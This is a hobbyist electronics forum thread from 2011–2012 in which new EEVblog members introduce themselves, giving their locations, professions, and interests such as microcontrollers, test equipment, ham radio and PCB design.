I'm a 4th year electrical engineering student in Canada. I'll be entering an MSc. in EE in the fall focusing on electromagnetics and medical imaging, but I still love to tinker with simple circuits. I've been watching the EEVBlog for a long time, but I finally decided to jump into the forum now!
Title: Re: New Member, Please introduce yourself
Post by: ZachFlem on October 05, 2011, 10:38:45 am
Hi Folks,
I'm Zach, a telecommunications tech from Australia.
I'm currently getting myself ready to go out on my own, and am here to talk about options for meters etc.

Hope I can contribute on some level, but I suspect there is a wealth of knowledge already here that far outweighs my limited experience!
Title: Re: New Member, Please introduce yourself
Post by: AscendedDaniel on October 05, 2011, 11:41:47 pm
Hello everyone,

I'm Jason from Santa Clara, CA, USA. I work at a Silicon Valley tech company. Technically, I'm a firmware engineer, but I do a lot of procurement, hardware tools development (including pcb layout as well as mechanical tools), and design of automated testing. I do analog and digital EE, mechanical, and software engineering.
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Post by: goldenrebel on October 09, 2011, 12:18:26 pm
Hi!

I'm an electrical engineer by education, but spend most of my time in systems engineering.

Peter
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Post by: BloodyCactus on October 11, 2011, 01:04:05 am
Hiya. I'm another Aussie, living in the usa tho (wife does not want to move 'home') :( software engineer for largest nuclear company in the world.. just getting into electronics as its one of my winter projects is going to require a pcb/chips/etc.. should be quite fun!
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Post by: dougsisco on October 14, 2011, 05:52:30 pm
I'm Doug Sisco, and I'm a 1988 EE Lafayette grad. I've been involved with many embedded and programming projects both in industry and at home. Lately I've played with the MSP430, the Mbed, and the Parallax chips. You can visit my website at http://www.dougsisco.com (http://www.dougsisco.com). 
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Post by: pcbraSil on October 15, 2011, 11:20:17 pm
Hi,

I am a brazilian student who enjoy electronics and to know how things work.

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Post by: Makezilla on October 16, 2011, 04:12:47 am
Hello from Canada.  I've been a programmer for years but was recently introduced to arduino and have since been rediscovering an old interest in electronics.  I have watched several of the videos here and have found them to be an awesome resource.
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Post by: SiBurning on October 17, 2011, 04:18:11 am
Took apart my first radio when about 5 years old. Managed to put one back together at 11. Gave up the hobby around 1992, but got involved again a bit a few years back. Was (and am) mostly into audio--restorations and fixes. Do a bit of kit building, too. Haven't designed anything since 92, though.

My nick is... well... I love the smell of silicon (burning) in the morning.

My day gig is computer programmer.
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Post by: Puma on October 17, 2011, 06:09:09 am
Hey, I'm Matt from Illinois.  I'm 26 with a BSEE degree and am currently looking for a job. 

My main interests in electronics are with RF and microcontrollers.  I have a General amateur radio license KC9SCJ, but currently only have a 2 meter HT.  I hope to buy my first oscilloscope soon which will help me with debugging mcu peripherals and in producing my own receiver/transceiver circuits.
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Post by: ellisg on October 20, 2011, 02:25:14 am
Hello there, I am Ellis a student of electrical engineering.  I am most interested in diy projects concerning a remote control car servos and the main component of running them.  Though my latest builds are geared toward simple weather stations I could implement portably, which meant that some third party power source had to be used aside from the one you could port on your car trunk.
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Post by: Mikedelectric on October 26, 2011, 01:10:26 am
 :D Hi, an Electrician by Trade, (if I'm lucky enough to find work), I zigged when most everyone i see here zagged, Have been working on the Large stuff compared to all the

small stuff everyone else works on normally. Have been brushing up on my Electrical theory and soldering skills,and watching all of Dave's videos.

Have learned alot, and enjoyed the Dmm testing, Dave probably  saved me from blowing my hand off with one of the One hung low brand Dmm's!!
 
Have a Fluke 189, and will be keeping an eye out for a fluke 87,(can't have to many test meters!!), will be looking forward to all the posts and blogs on the EEv blog web site. :D
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Post by: don.r on November 12, 2011, 07:00:44 pm
Hello everyone (and Dave),

I'm a retired EE from Canada. Nice to see such a blog and forum on the web aimed squarely at us tinkerers. Remember, disassemble before reading the manual!  ;D
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Post by: kaz911 on November 13, 2011, 11:07:30 am
Hi im Kaz, about 40 years old. EE from a long time ago and have not used my EE skills for years. So I'm trying to catch-up and restock on tools and components etc. :-)

I used to work in a Kit company like "Velleman" doing everything from Test, Assembly, Construction, and *sigh* kit packing. At that time it was Protel and Orcad. The company I worked for was one of the first to do PC Cards in kit form (ISA) and published an Electronics Magazine. So I built MIDI cards, Network cards (ARC Net if anyone remembers - coax 1mbps) plus FIBRE implementation of ARC net (and testing each card with 2 km fibercable on a big drum...) and a lot of other things. And then of course wrote the some of the software for it.. That was all < 1988.

Then I became an editor of PC World in scandinavia - then the Internet happened and now I am in the United Arab Emirates - looking to update my old skills and maybe do a bit of construction. :-) But I worked on PC 's with 4.77Mhz and 8Mhz turbo... And now even my phone runs GHz.  So I have a lot of catching up to do.

Nice to see you all and hope to learn even more than I already have.

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Post by: mcinku on November 14, 2011, 10:24:09 am
My name is Mirc and I'm 39 living in Slovenia.
I work in IT but I have some background in electronics... my high school education is electronics science.
My main interest are old tube amps... I build them, fix them, mod them and play them...

Since I'm following EEVblog I also became electrical measuring tools adict.  :o
Just an example, ... before I was quite happy with my old Voltcraft multimeter, it does everything what I need, even with only 4000 counts and 0.9% DC precision... but now I have four (40.000, 50.000 counts - 0.025% precision) and two of them are Fluke obviously... damn I hate you Dave.
 ;D
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Post by: scarletpimpernel on November 14, 2011, 09:37:31 pm
Hi everyone,

Ahmed from the UK.  Ph.D. in Computer Science from Cambridge and M.Sc. in Microelectronic Engineering from Manchester.

Currently interested in on-chip networks from a reliability and redundancy perspective, as well as hardware emulation of microcontrollers using FPGAs.

All the best ..
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Post by: John Wilson on November 18, 2011, 02:21:48 am
Hello, everyone (and Dave, of course).

I have recently come back to electronics after discovering microcontrollers. My background is programming (since 1973) and some electronics. I'm trying to relearn everything and get back up to speed. At this point I've concentrated on PIC microcontrollers using assembler.

I've been a career firefighter in Canada for the past 20 years and developed an e/911 interface and developed a rudimentary (very) computer aided dispatch system.

john
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Post by: spikyjoe on November 19, 2011, 06:22:41 pm
I am an Electronic and Embedded software engineer from the UK.
I currently work in the off-highway automotive sector.
 ;)
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Post by: CosmicGecko on November 21, 2011, 09:05:06 am
Howzit from Hawaii,

I'm a software engineer by trade, but have always had an interest at the hardware level -- despite not having any formal training or a degree in Electronics Engineering. Looking forward to studying some of the designs and project ideas posted in these boards.
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Post by: justy on November 21, 2011, 11:26:28 pm
Hello, I'm Justin- my website is http://justy.me (http://justy.me) and I run Arduino Workshops for Little Bird Electronics.  I'm a digital guy trying to improve my analog chops.

I make my own double sided boards and solder SMD under a microscope.  Last night I made an 8x8 SMD LED display that's 15mm squared.

I'm looking for some advice on how to troubleshoot my Kikusui DSS5040's storage mode (the trace just sits in one spot now) but I'm not sure where the best place here is to post such a question?

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Post by: PeteH on November 23, 2011, 11:50:13 pm
Hi Everyone,

I am an Electrical Engineering Student in Canada. I have watched videos on the blog for a long time and only recently joined the forum. My interests (passions) are PCB design, Schematic Design and of course, electronic analysis (Mostly a fan of power systems). I have experience with the Cadence tool set, RISC/ARM architectures, HDI design and low/micro power circuits.

-Peter
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Post by: benkev on November 25, 2011, 01:00:11 am
Hello,

I am Leonid Benkevitch, or simply Leo. I am physicist and I work in MIT Haystack observatory in Westford, Massachusetts. However, I live in New Hampshire, on the border with Massachusetts.
Electronics is my hobby. I joined this forum due to my interest in hacking the Hanteck DSO5102 digital oscilloscope inflamed by the user "tinhead".
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Post by: tamtam on November 27, 2011, 10:36:14 pm
Hi

I'm Mike from Switzerland. I work in industry as electrician. I came to the blog when I searched information about multimeter :) In my job I work more with PLC and drives, than with electronic.
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Post by: Fir3Chi3f on November 28, 2011, 07:58:02 am
Hello! I am an Eastern Illinois University student and currently majoring in Philosophy and Computer Science. I found Dave's blog when my ex girlfriend asked me to fix her kindle and I looked up a video to open the darn thing. Turns out it was still under warranty and I didn't have to open it, but I've been going through almost all of his videos since. What got me hooked was the knowledge of each component and how they were all assembled.
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Post by: The_Penguin on November 28, 2011, 06:47:56 pm
Hi all. I'm a Canadian computer geek by trade, but have been into electronics for (counting.....) 37 years!

I don't do much if any design work, and my circuit analysis knowledge is crap, but I'm a damn good solderer and am pretty good at component level repairs :)
I *have* made my own PCBs (toner transfer method)

Came here from a link in a repair forum about DMMs, and am hooked on Dave's videos.
Love 'em!  Keep 'em coming!
On my (messy) bench: Hitachi V-212 Scope, Fluke 77 DMM, Old Radio Shack DMM, older Radio Shack Analog MM, no-name Chinese variable supply, home-made curve tracer, ESR meter, home made 5V supply, home made 12v supply, crappy home-made function generator (Exar 2206 based I think). A 30 year old Weller WTCP station, and a Hakko 936.
I've always had a bit of a mental block with AC theory and ground loops etc. so even though I'm an old-timer, expect some n00b questions in the beginner forum :)
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Post by: willb on November 29, 2011, 03:47:40 pm
Hello fellow EEV users!

I'm Will, 23, and I am located in Canada (Halifax, NS). I work in avionics and play with electronics on my own time at home. They say a picture is worth a thousand words... Here is my lab in my basement.

(http://one.scfhosting.com/shareit/rigol/1.jpg)

-Will
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Post by: Ed.Kloonk on November 29, 2011, 06:49:20 pm
I like the way the snowboard is on the wall, ready for action.
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Post by: electronSpin on November 30, 2011, 07:40:27 pm
Hi Everyone

I'm Pete, I have a background in physics and currently working in the NMR field of science.  My main interests lie in microcontrollers, and I hope to get into FGPAs at a later date. 

Have a great day everyone!

pete


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Post by: y33t on December 01, 2011, 06:06:19 pm
Hi all,

I am Yigit, writing from Istanbul/ Turkey. Bachelor in electrical & electronics engineering with a master of science in physics going towards a phd (like it worths something lol).  I am interested in a variety of things  from subatomic behavior to cosmic structure and everything between. Also, of course, hot women!  :)  I am not prententious or anything (except the women) I consider myself a guy who just likes to learn stuff. I will do my best to contribute to this platform and share what I got.

I accidentally discovered this place and it's a shame that I didn't do it earlier. Anyway, I rise my glass to everyone, cheers!


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Post by: ee851 on December 01, 2011, 09:29:57 pm
Hi everyone

My name is Allan.   I am  an unemployed electronics and embedded software engineer in the USA.    I have both mechanical and electrical engineering degrees from university.
I just signed up to play nice with all my fellow nerds here.
I am also interested in science-related stuff like physics, chemistry, semiconductor physics, signal processing, both analog and digital, astronomy, and science in general.    I am a linux user.   I am also a ham.
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Post by: Ellis64 on December 03, 2011, 02:50:40 pm
Hi everyone,
I am Ellis from Athens/Greece and I work as an electrical/electronic engineer in a company based in MI FL USA but the actual work scene is mostly out of US. I have also apart from my real work, electronics as hobby too. I have interests in many fields of electrical engineering as embedded electronics, power electronics & automation, some RF and off course circuit design.
I will be very happy to share ideas and experience with people with same interests.
I wish all the best to all mates in the community (this one and globally).
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Post by: Andy E on December 05, 2011, 06:58:43 am
Hi dear all, i am Andy E. and come from China. i am working as a sales engineer for pcb &pcb assembly& housing. i wish share THE  newest tech inofrmation here. and meet more freinds. wish all the best to u all. :)
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Post by: steff on December 06, 2011, 07:22:03 pm
Hi, I'm Steff, a systems administrator (Linux, mostly, with occasional forays into BSD and Solaris) originally from Cambridge but living and working in sunny East London.

More of a software guy, as yet, but slowly rediscovering an interest in electronics first kindled by a Merit kit when I was a kid (built the usual AM radio receiver). Came for the kit reviews (bought an Agilent meter on Dave's recommendation a year or so ago and found it a delightful change from off-brand cheapies I'd had before) but have found myself more and more interested in designing and building my own circuits.

Particularly interested in synth/audio DIY (which I lack the electronics chops to do, as yet) and UAVs.

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Post by: The_Penguin on December 11, 2011, 06:11:13 pm
Hello fellow EEV users!

. They say a picture is worth a thousand words... Here is my lab in my basement.



Nice bench!  Gotta ask, is that a rubber duck on your desoldering station? Or is there a HT in behind there? :)
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Post by: AndrewS on December 11, 2011, 10:20:47 pm
Hi I'm Andrew, long time forum lurker first time poster.

I have a Diploma in Robotics and Automation and am currently finishing up my Bachelor's degree in electronics at night school. During the day I work at a company that makes controllers for building automation doing electronics hardware testing. I don't get to do much design at work just mostly test other peoples designs.

I'm interested in analog and digital electronics although mostly have experience in digital electronics. I would like to learn more about FPGA and CPLD programming and maybe doing some projects with those. Currently I am working on my final project for my degree which is a quadcopter, the hardware is basically done its just a matter of getting the software working properly.
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Post by: electrickery74 on December 14, 2011, 02:04:32 am
well.i am michael from adelaide australia and i have nooo qaulifications or dergees in anything electrical.just a strong interest in mainly higher voltage electronics like marx generators hv multipliers, transformers which i built and planed to run a tesla coil  with. but i dont have the smarts for the coil side of things so i shelved that idea.and yes it all started with nans old black and white tv that i salvaged .but as of recent i have become interested in power mosfets, thyristors,sidacs and igbt modules after years of gathering them.so i realy am liking the idea of induction heating .now after aquiring a scope,a bwd mini lab a pulse gen and  a shed full of goodies its time to learn some basics lol. any hoot thats me.
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Post by: electrickery74 on December 14, 2011, 02:47:17 am
mmm knew i forgot to post something.my variable voltage, variable frequency marx generator.nothing special but worth a looksie.                 marx generator (https://www.youtube.com/watch?v=6of4CJAw6-4#)
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Post by: 12AX7 on December 16, 2011, 04:42:05 pm
My name is Paul from Quebec (Canada), hobbyist, getting into Arduinos and such.
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Post by: RCD on December 18, 2011, 01:54:54 am
Hi.  My name is Luke.  I am an engineer who owns my own product design company in California. The EEVBlog is a near addiction.  Great fun.  Great learning!  I love it!
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Post by: ElectroElvis on December 19, 2011, 11:16:48 pm
Hello, i am Elvis orignialy from Slovenia but i moved to Austira this year. I love electronics it was always my favourite thing. I couldnt afford anythgin by now. I am starting from "strach" as gear related and i am willing to learn and ask a lot of question.

Currently i am slowvly reading book The Art of Electronics 2nd edition.
Slowly i will buy essential gear and hopefully realize my concepts that i drew in my secret notebook:D

OH and i have no previous school knowladge or anything about this :)
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Post by: altech6983 on December 22, 2011, 06:22:07 am
Hi I am Albert, I have lurked the forums for a while now and finally got around to signing up. I'm a student at Texas A&M. I love electronics and have been fooling with them since an early age as my dad was a repair technician.

Well back to lurking :D
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Post by: Greg J on December 28, 2011, 12:42:24 am
Hi,My name is Greg (doh), and I found out about EEV blog just before xmas. And I'm hooked. David is a great guy (at least on video ;) )
I think I've watched pretty much all episodes by now, (something like 700GB of data for the past 2 weeks - got 50mpbs connection at home).

Anyways, I'm a principal software engineer by day at medium firm here in Belfast. I do all sorts of things in the evening, including electronics. I like to stick to analog electronics if possible (software is too easy ;)).
Anyway, if you're in the area - give us a shout, there seems to be little going on in NI in terms of electronics etc (especially robotics).

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Post by: paf on December 30, 2011, 10:31:31 am
Hello.
  I am Paulo (paf), from Portugal.  No koalas or kangaroos here, but we have eucalyptus!
  Like to play with micros and electronics.

   
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Post by: Cognito on December 31, 2011, 02:36:21 pm
Hello!
My name is Martin and live in southern Norway. I have always been interrested in electronics and experiments of different kind, and finds Dave's blog very interesting, good work Dave ;)  In my spare time I currently work with the Arduino microcontroller and a Rover robot. I'm still in 10th grade (so I'm sorry for any spelling mistakes), but get some money to run my little lab from repairing Iphones and Ipods. 

Happy New year!
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Post by: grant1842 on December 31, 2011, 03:45:28 pm
Hello all .
My name is Grant I work in the automobile collision industry.
I repair Computers(laptops, Desktops,etc) . I do PCB level repair on Computers. LCD TV, Monitors in my spare time.

I just got an Arduino UNO r3 and having fun learning how to use it.
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Post by: victorf on January 01, 2012, 01:53:36 pm
Vic Fraenckel from upstate New York, USA. I run a tiny company (one man) that produced instrumentation mainly for hot air and gas ballooning. The instruments are controlled by embedded micros. I am the chief cook and bottle washer and do all electronic design and assembly and create all the software. I don't think I will ever get rich doing this but then I am over 70 years old and don't really expect to.
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Post by: PA3BNX on January 01, 2012, 08:47:57 pm
Hello everybody,

I live in the center of the Netherlands.

I am unemployed but do a lot of programming in Visual Studio.

with my SuperSimpleSoundDopplers.

(It's a VHF DSP Radio Direction Finder working on the soundcard of a PC).

See our radio clubsite on:

http://www.pi4wag.nl/index.php/pseudo-doppler-radio-direction-finder (http://www.pi4wag.nl/index.php/pseudo-doppler-radio-direction-finder)

I do have a lot of building and reparing experience in electronics.

I did give some ham radio cources with much succes in the recent past.

I am working now on a HF Direction Finder with two magloops 90 degrees crossed

Also readout on the PC with the soundcard

My goal is to write better VisualBasic and C# programs

And do nice things for the radio community here in the Netherlands.

I like to design, try and upgrade simple interfaces with the PC.

I did also write a lot of stepper motor software for very simple LPT port Hardware.

So I think this is a nice forum.

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Post by: Yael on January 01, 2012, 09:31:10 pm
Hello, I'm Yael. I'm from Canada.

I have always had a huge interest in electronics and I am considering going back to school for an Engineering degree. I am 23 and at the moment have a couple of liberal arts degrees and am just finishing up a fine arts degree in photography but engineering is my passion.
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Post by: rubberdog on January 02, 2012, 01:43:34 pm
Hello Community,

my name is Rudi, I'm from Austria and living in Vienna. Since 2 Years I'm retired and have now enough time (but not real  :'() to dip into the giant world of microcontrollers. The reason is that I'm a member of a model railroad club and we need to upgrade our old fashioned electronic components to a new technic. For this reason I buyed from MikroElektronika a development board together with a C-compiler and now I have to discover a lot of new things  ::). Recently I ordered a DSO for measuring purposes and want to look what happens on a RS232 or a DCC protocol data flow.

After having a look througt this very interesting forum I have the impression that there is a lot of well knowing guys who may support me in case of any troubles  :-* (and of course if I get more experience I can provide you my knowledge as well).

All the best for you and don't breath in too much soldering smoke  ;D

Rudi
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Post by: Martin_bg1 on January 03, 2012, 10:09:09 am
Hello everybody,
My name is Martin, I live near Sunnybeach in Bulgaria. I love to play with Pics and power electroncs, but I hate big booms  :) .
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Post by: CraigHB on January 04, 2012, 09:13:48 am
Hi folks,

Signed on here a couple days ago.  I'm an EE and an electronics hobbyist.  I'm in Reno, Nevada, USA.
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Post by: EternityForest on January 04, 2012, 04:08:58 pm
Hello! 17 years old, 18 in a month, lived in seattle all my life. Going to start college soon!
I have been doing electronics for a few years now, mostly digital, though the circuit i recently built for a robotics startup was all analog. Love your webseries, Dave!
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Post by: G7PSK on January 04, 2012, 04:34:40 pm
Hi I am Nigel G7PSK I came across this site recently when researching for a new portable scope for checking generators which has been an interest of mine since I built my first one out of an old milk float motor when I was 15 I will be 60 in October. I am a radio ham but my passion has always been power the more the better I got hooked when I turned that motor into a 600 amp generator to supply power to my lab (shed)at the bottom of the garden it is marvelous what you can do with 14 plus KW at 24 volt when you are a teenager, car batteries are gone in a flash for a start arc lights are fun too. I love the way Dave presents his topics I especially like the one where he tests the meters with a large bank of power capacitors.
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Post by: markedagain on January 04, 2012, 04:47:59 pm
Hey all,

Im Mark from montreal Canada. im 30 and im a software engineer for a movie streaming website. i started electronics as a hobby a few months ago and im hungry for much more. recently i slowly started to get into microcontrollers and its the coolest thing in the world, my analog skills are soso, im still trying to get most of the basics. ( i just found out this week i should always have a bypass cap on all ics :) )

anyway look forward to discussing more electronics with everybody.

P.S. Dave you have made yourself an  invaluable asset to the industry, and i applode you for it . keep up the great work, im learning so much watching all your videos, im at episode 100ish. subscribing to your donation to keep you going as long as you can thank you again and keep on inspiring.
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Post by: SteveUK on January 05, 2012, 02:38:31 am
Steve from the UK here,

Dave's enthusiasm has sucked me back into electronics after about a 20 year gap (a gap full of science and software development).  I've now dusted off all my electronics bits and bobs from my teenage years (with component drawers lovingly labelled with those crappy plastic dymo strips).

All I need now is to find a cheap analog scope. The scopes on ebay in the UK seem to be few and far between and of unknown condition. Pehaps my oscilloscope quest belongs in a different post though :)

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Post by: Sedengr on January 07, 2012, 10:05:45 pm
Howdy,

I'm a designer of AC induction motors and a hobbyist.  Have been looking at the new things coming out and decided it was time to finish up some languishing projects and see what new things are available to try.

Sedengr
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Post by: IC on January 11, 2012, 08:07:53 am
Hello to everyone out there. I'm a teacher (not of electronics) but with an interest in Electronics.

I live in south western Sydney, my interests are Photography, Graphic Arts, Woodwork (Boxologist) and of course Electronics.

Being a little older than the young generation it was quite a task to get registered and participate in this site, I suppose I'm still an analog unit in this digital world. Blogs are a whole new world to me, however, sadly my only proficiency is DataBase design ....... I consider myself an expert here, sadly my colleagues would beg to differ.

I'm currently in the process of setting up a workbench, I have decided to cast of all my old gear, most of which is failing me or failed long ago. I have committed to go all new, this has offered a lot of problems to me as I'm really unsure of what gear to purchase. I have already committed to a new GW Power Supply and a Fluke 289. I would appreciate any advice on the following areas ...... Soldering Station (Hakko or Weller or .....), Function Generator & Counter, Bench top MM (four wire) ...... there are just so many out there .....though I like the consistency of GW as I'm committing anew.

I'm open to all suggestions re equipment purchase and value you direction as I believe that if you have had the sincerity to reply you genuinely wish to help me ...... I thank you in advance ..... best wishes to all IC

Any other gear to recommend and contacts for within Australia would be appreciated, thank you.
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Post by: Rerouter on January 11, 2012, 08:31:06 am
Hello All

My name is Ryan, and I live in Sydney,
I'm an instrumentation apprentice, and specialise in automotive instruments,
mainly a hobbiest, who up to this point has been teetering on the edge of getting boards fabbed.

a happy watcher of this blog, and enjoy daves unique spin
and hoping some time in the future he goes to kit up a function generator / counter :)
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Post by: westfeild on January 14, 2012, 03:24:27 pm
Hi, i'm a refrigeration/air con engineer from the UK with no formal Electronics education, but was into hobby electronics in the early 80's and now starting to get back into it after being encouraged by the video blog.
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Post by: Michael B on January 14, 2012, 04:23:53 pm
Does anyone actually read all of these? Just in case, here it is.

I stumbled onto Dave's blog as I was researching the internet for a new multimeter. I am still using a (very) old B&K model 2845 that I bought when I was still in school back in the early 80s. Still looks good and works well. I even still have all the original paperwork and box, but it isn't exactly, . . . um, the most useful meter.

Anyhow, I'm not an EE. I went to school to be an Aviation Electronics & Instruments Technician back in the early 80s. I worked as a bench technician for 2 years after school, but then got a job with the commercial airlines. Gradually I forgot most of what I learned. 19 years later I got another job as a bench/field service tech and had to slowly learn again. I did that for about 1-1/2 years, then back to aviation.

I am amazed to watch guys like Dave open a box, look at a pcb and tell what kind of circuit he's looking at without a schematic. I know this comes with time and experience, I wish I had. So, . . . I'm here to learn. Probably won't post much, just lurking and learning. :)
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Post by: Kevin.D on January 15, 2012, 06:09:57 pm
Hi I'm Kev from England .
I started with my interest in electronics in my mid teens in the early 80's . I got a 200 in 1 electronics set just like Dave's in my teens and spent many many hours  making the circuits in the book .After I finshed with the circuits in the book I soldered a dip socket in place of one of the fixed ic's so I could really extend it's use . :) 
I still have my 200 in 1  along with my very first serious electronics project "yep the almost obligatory 0 to 30v linear power supply" which I was very proud of .lol

I never went into electronics as a career, it was always a serious  hobby interest  up until
the 90's when when It kinda got left out as I had other interest's .Watching Dave's and others videoblogs on line the last few months has rekindled my interests and
I have started to reread all my old electronics books  again ,Its surprising how much you forget after 20 or so years out of it ,but revising isn't as hard as being a newbie . :)  I still have all my old lab equipment and drawers and drawers full of components from the late 80's .Looking forward to future blogs Dave .Thanks
Title: Re: New Member, Please introduce yourself
Post by: The_Penguin on January 15, 2012, 11:48:19 pm
Does anyone actually read all of these? Just in case, here it is.


Nope.  :)
Title: Re: New Member, Please introduce yourself
Post by: Michael B on January 16, 2012, 03:57:40 am
Does anyone actually read all of these? Just in case, here it is.


Nope.  :)

Not unless you are really bored!  ;D
Title: Re: New Member, Please introduce yourself
Post by: electrickery74 on January 16, 2012, 01:01:12 pm
Does anyone actually read all of these? Just in case, here it is.


Nope.  :)
sure do i read each one with entusiasim.
Title: Re: New Member, Please introduce yourself
Post by: siliconmix on January 19, 2012, 07:12:31 pm
hi
just a quick introduction .my names bill .it took a while to get my activation email but neva mind i'm here now.
Title: Re: New Member, Please introduce yourself
Post by: picolater on January 20, 2012, 06:19:25 pm
New Member
Name Brian
Canada

I'm a Hobbyist who has been following Dave's Blogs since the early beginning.

I mainly got started in electronics with Pic Micros.
After many years of playing with Pics I put up a website targeting Elec-Hobbyists interested in Pic Micros and PicBasicPro.
I kept the site low keyed as Pic Micros are rather long in the tooth now thanks to Arduino etc.
However, thanks to Dave's blog I decided to bring it forward. I started the process of making it open source and may continue depending on the level of outside interest.

These type of sites are a dime a dozen now and I don't expect it will generate much interest.
Just thought I would share it with you in case there are any newbies interested in PicbasicPro.
http://challenger.byethost9.com/index.htm (http://challenger.byethost9.com/index.htm)

Kind Regards,
 Brian



 
Title: Re: New Member, Please introduce yourself
Post by: awh4992 on January 20, 2012, 06:40:07 pm
Just joined the forum, but I've been watching Dave's videos for a while.

Anyway, I'm Andy, I'm from NY, USA and I design a lot of my own hardware/embedded software projects when I'm not doing similar stuff at work.  My mirco of choice is a PIC w/ the CCS compiler.

I'm also interested in Linux and getting Linux up and running on small devices.  Altium Designer is by far my favorite schematic capture/layout tool.  I do all my own schematic capture and layouts (used to do that at work for PCBs up to 16 layers, but that got really old).

My blog has information on the projects I've been working on related to Electrical Engineering here:  http://batman.homelinux.com/blog/ (http://batman.homelinux.com/blog/)

-Andy
Title: Re: New Member, Please introduce yourself
Post by: blackman on January 22, 2012, 09:50:57 pm
Hello, Im Matt. From Australia! I'm a sparky(electrician) by trade, I have worked in the Industrial Commercial and Domestic sectors. Im focusing on Industrial work now, its more rewarding. Im also studying Instrumentation as well, as I have the knowledge from my trade but no piece of paper to prove it.

Electronics has been a hobby for many years before I even decided to do it for a trade. I love it!
Title: Re: New Member, Please introduce yourself
Post by: nrgeek on January 23, 2012, 07:27:32 pm
Wow this is a long thread lol .. but I guess I need to make it just a lil bit longer :)

Ive been reading eevblog for several months .. found it via youtube .. looking for some info on lcd tv ..
Anyway ... I live in Chattanooga, TN USA, been here since 1989, came here via Morgantown, WV my home town for the first 20 or so years .
Im a computer tech / IT manager .. been in the computer biz since the early 90s. I was just a board swapper  for many years .. the chips and bits where a curiosity to me .. but just didnt have the info to delve into board level repairs .. but then around 97 ..  the store I worked for at the time kept getting laptops with broke power connectors.. so I could see this was an area I needed to learn more about.. so with a little digging around on the net.. was much less info back then .. I learned how to become  good at solder work and was turning a good profit fixing broke ac adapters ..this led into more and more digging into board level repairs.. now Im wanting more .. want to do some projects of my own from scratch .. so Im slowly acquiring a lab .. just bought my first scope 100mhz tektronix analog used on ebay 80 bucks.. I have a smd rework hot air gun, several good solder irons, a doz multimeters, esr meter, .. and have been reading all the related books and web sites I can get my hands on .. I was already a electronics junky .. now my wife really will have something to bitch about lol  .. there are some days .. Id like to trade her in on a woman that is geeky as I am and likes to fish too .. if that happened .. Id be dead and in heaven  :D
Title: Re: New Member, Please introduce yourself
Post by: calin on January 23, 2012, 11:09:25 pm
And I am going to make it even longer.

Hi I am Calin .. geez that sounds like I am @ an AA meeting !!  :)

Finally I joined the forum after a good while watching Dave's video blog which is just great. I am an IT engineer (yes that is engineer not programmer :) ) , living in Phoenix, AZ .. which is waaay more sunny that "sunny England" as someone on the thread was saying. Been all over the place so far - Europe/Ireland (there you go sunny England), Canada (frozen & sunny) and now US (sunny indeed .. but too hot sometimes).

I turned to electronics so I don't run completely dumb due to what I am doing @ work and obviously because I really like it!  I work in financial industry - in IT of course - but man !! that can cause some serious brain flatness :) 

I am really really bad @ programming .. then a bit better at design with numeric circuits and absolutely brilliant when it comes to analog design. Now negate that .. and read in reverse order !!

Joke aside, the info on the forum and the EEV site is just great info for someone who is into this hobby.

See you around !!



Title: Re: New Member, Please introduce yourself
Post by: damo on January 25, 2012, 01:52:03 am
Just realised that I never formally introduced myself. Trying for the record wall of text here in Intros :P

I'm Damo obviously ;) I joined after watching some of Daves blogs on oscilloscopes especially the one where he bags those silly iPod shaped ones. He recommended that joining up here would enable me to find a nice cheap oscilloscope which I am still looking for and eventually decided that I should save up the $$$ for one of those Rigols.

Lets see. I studies first year Electronic engineering AND had an apprenticeship as an electronic technician at the same time, but since I needed the money, the apprenticeship won out. I have worked as a technician fixing TV's, videos, CDs etc as well as working on radio installations and repeaters in the outback of Australia for 8 years or so.

Since I was around 6 years old, I have written a lot of software for computers and would have made millions (lol) if I had been born around 10-15 years after my actual birth date. Anyway, I completed a degree in Information Technology with a computer science major in the year 2000, just in time for the big global dot com melt down. So jobs in IT were very scarce and jobs for graduates were even scarcer so I needed to fall back on something. Foolishly I enrolled in a grad dip in education and became a high school teacher for around 7 years which paid the bills, but I have found that teachers are frowned upon in the commercial IT sector despite the amount of actual software development/analysis you do as a teacher (and I did a lot of it).

As well as teaching IT, I taught electronics which was a lot of fun. The students found that doing things like blowing up electrolytic capacitors and annoying other staff with function generators and speakers was a riot. Probably the funniest thing that happened was when one of the students used a function generator to exactly emulate the fire alarm using the frequency ramp. A bunch of them then recorded it on their mobiles and played it back during class.

Anyway, I'm now working as a computer trainer and analyst at a university here in Oz. I do repairs to mates rigs and I like to experiment with electricity and build useful devices.
Title: Re: New Member, Please introduce yourself
Post by: dpalme on January 25, 2012, 04:22:02 am
Hey there everyone. My name's Dylan, I'm an electrical engineering student here in the states. Been watching the EEVBlog for about a year now and let me tell you, I've learned more from Dave and from taking crap apart than from this damn school.
Title: Re: New Member, Please introduce yourself
Post by: g137556s on January 25, 2012, 08:59:08 pm
Hello everyone!!!

I'm Robert and I'm getting addicted to electronics.  I have been looking around the web trying to learn more and stumbled upon Dave's Eevblog on YouTube and watch it every night.  I have been working with integrating Arduino's with LED lighting and fans for some lighting projects which has got me started.  Anyway, I hope to get to the point where I can design and manufacture my own PCB's soon.  Been fiddling with Eagle.  But if anyone has a better recommendation, let me know!

I am in Houston, Texas, USA
Title: Re: New Member, Please introduce yourself
Post by: rantonides on January 26, 2012, 07:04:49 am
Hi.  I'm an EE in Vancouver, Canada.  Watched every video here and listened to every Amp Hour.  I have a robotics company and mostly work in the bakery automation industry.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: ChrisW on January 26, 2012, 09:51:37 am
G'day folks!

Been lurking around the forum after stumbling across one of Dave's videos on Youtube and I finally decided to hit the join button. I'm a noob to electronics, I know the basics but that is about it. Hoping to get started on some projects soon. I am also teaching myself to program since I would love to get into working with FPGA's and design my own retro video game flash carts so I can develop and play my own games. I know such devices already exist but I would prefer to design and build my own.

see ya round!
Title: Re: New Member, Please introduce yourself
Post by: harnon on January 26, 2012, 06:17:32 pm
Hi Guys,
My name is Will and I'm originally from Melbourne but now living in Oxford and studying Motorsport Engineering- i.e. Mechanical.  (My first career choice and I didn't really get along).

I'm a big fan of Dave's blog which I only discovered a couple of months ago but now check several times a day in case something new has been posted!

I have a website if you are interested with some PIC tutorials (notes taken as I taught myself) and write ups of projects I am working on. 

Happy Australia Day! (At least it is here for 6 more hours or so!)

Will
Title: Re: New Member, Please introduce yourself
Post by: nrgeek on January 26, 2012, 06:35:41 pm
What is the web address ? you left that part out :)


Hi Guys,
My name is Will and I'm originally from Melbourne but now living in Oxford and studying Motorsport Engineering- i.e. Mechanical.  (My first career choice and I didn't really get along).

